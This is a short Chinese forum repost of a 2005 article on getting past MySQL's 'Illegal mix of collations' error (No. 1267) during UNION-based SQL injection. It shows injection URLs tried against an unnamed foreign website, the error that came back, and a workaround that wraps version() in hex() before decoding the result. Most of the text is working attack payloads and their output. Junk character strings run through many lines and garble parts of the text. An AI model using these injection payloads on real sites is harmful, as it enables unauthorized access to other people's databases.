MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
文章性质：原创
+ f- P: d! |7 s2 N5 i7 v3 \- G4 W6 v发布日期：2005-10-18
+ \- [& v5 K/ p测试个国外的站时：
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
) s. x; ]( t: ~- qIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
+ ]1 K' V% M  R; B9 n  E3 Y6 nMySQL Error No. 126
. D' `+ N4 j8 u. p# C2 @看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
( O2 }- W9 W3 X5 J解决办法：转为其他编码如hex。
) G3 H& f& r, @7 o/ k6 Qurl：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
% P; K1 n/ ?7 s0 t. j342E312E332D62657461
" N: L; b  ?$ u* ?% S, ?回Mysql查询下得到：
mysql> select 0x342E312E332D62657461;
+------------------------+
| 0x342E312E332D62657461 |
7 D8 n. f8 S3 O# G/ ]! `+------------------------+
| 4.1.3-beta |
: Y6 Z! p. L: ]3 X- z! ^: a  s+------------------------+
$ R" A/ ~: E/ [) E1 row in set (0.00 sec)

) T" H# j" d/ r7 c5 u0 t